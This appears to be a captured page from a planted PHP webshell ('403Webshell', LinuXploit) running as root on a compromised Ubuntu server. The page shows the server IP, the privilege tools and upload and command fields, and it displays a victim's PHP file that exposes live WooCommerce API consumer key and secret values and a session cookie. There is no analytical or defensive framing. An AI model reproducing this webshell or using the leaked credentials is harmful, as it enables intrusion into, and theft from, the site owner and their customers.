403Webshell
Server IP : 138.197.176.125  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux SuiteCRM-8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/jetcounter/apifiles/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/jetcounter/apifiles/getProductPlanDetails.php
<?php 
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

$productDetails = callAPI("products", 'GET');

$productPlansData = array();
$status = 0;
$message = '';
if(!empty($productDetails)){
	$currencyDetails = apiCurl("data/currencies/current", 'GET');

	foreach ($productDetails as $index => $productsData) {
		if($productsData['type'] == 'variable-subscription'){
			if(!empty($productsData['variations'])){
				$status = 1;
				$message = 'Plan Details';

				$variationData = $productsData['variations'];
				foreach ($variationData as $key => $variationDetails) {
					$productPlansData[$key] = array('price' => $variationDetails['price'], 'purchase_url' => $variationDetails['permalink'], 'content_description' => '');

					if(!empty($variationDetails['attributes'])){
						$attributesData = $variationDetails['attributes'];
						foreach ($attributesData as $attrIndex => $attrValue) {
							$productPlansData[$key]['name'] = $attrValue['option'];
						}//end of foreach
					}//end of if

					if(!empty($currencyDetails)){
						$productPlansData[$key]['currency'] = isset($currencyDetails['code'])?$currencyDetails['code']:'';
					}//end of if
					
				}//end of foreach
			}//end of if
		}//end of if
	}//end of foreach
}//end of if

function apiCurl($url, $method, $data='{}'){
    $consumer_key="ck_35c49c150bda3d42f5b9eb19fd31d530ca30f9cb";
    $consumer_secret="cs_87a9383a1e8fa6b0f947439183b20de7e23b4721";
    
    $curl = curl_init();
    curl_setopt_array($curl, array(
    CURLOPT_URL =>  "https://jetcounter.varianceinfotech.net/wp-json/wc/v3/".$url ."?consumer_key=".$consumer_key."&consumer_secret=".$consumer_secret,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_ENCODING => '',
    CURLOPT_MAXREDIRS => 10,
    CURLOPT_TIMEOUT => 0,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
    CURLOPT_CUSTOMREQUEST => $method,
    CURLOPT_POSTFIELDS => $data,
    CURLOPT_HTTPHEADER => array(
        'Accept:  */*',
        'Content-Type: application/json',
        'Cookie: PHPSESSID=10281617fa3ad81b3b1854c06a3c8fcc'
        ),
    ));
    
    $response = curl_exec($curl);   
    $res=json_decode($response,true);
    curl_close($curl);
    return $res;
}//end of function

echo json_encode(array("status" => $status, "message" => $message, "data" => $productPlansData));
exit;
?>

Youez - 2016 - github.com/yon3zu
LinuXploit